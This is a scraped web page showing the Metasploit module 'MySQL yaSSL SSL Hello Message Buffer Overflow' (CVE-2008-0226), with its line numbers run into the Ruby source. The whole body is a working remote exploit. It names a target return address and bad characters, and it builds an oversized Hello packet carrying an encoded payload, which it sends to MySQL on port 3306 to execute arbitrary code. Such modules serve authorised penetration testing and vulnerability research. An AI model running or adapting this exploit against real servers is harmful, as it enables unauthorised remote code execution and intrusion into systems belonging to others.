Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_hello.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)15implementation bundled with MySQL <= 6.0. By sending a specially crafted16Hello packet, an attacker may be able to execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-0226' ],23[ 'OSVDB', '41195' ],24[ 'BID', '27140' ],2526],27'Privileged' => false,28'Payload' =>29{30'Space' => 100,31'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",32},33'Platform' => 'linux',34'Targets' =>35[36[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],37],38'DefaultTarget' => 0,39'DisclosureDate' => '2008-01-04'))4041register_options(42[43Opt::RPORT(3306)44])45end4647def exploit48connect4950sock.get_once5152req_uno = [0x01000020].pack('V')5354req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')55req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')56req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')57req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')58req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')59req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)60req_dos << [target.ret].pack('V') + payload.encoded61req_dos << rand_text_alphanumeric(1024)6263print_status("Trying target #{target.name}...")6465sock.put(req_uno)66sock.put(req_dos)6768handler69disconnect70end71end727374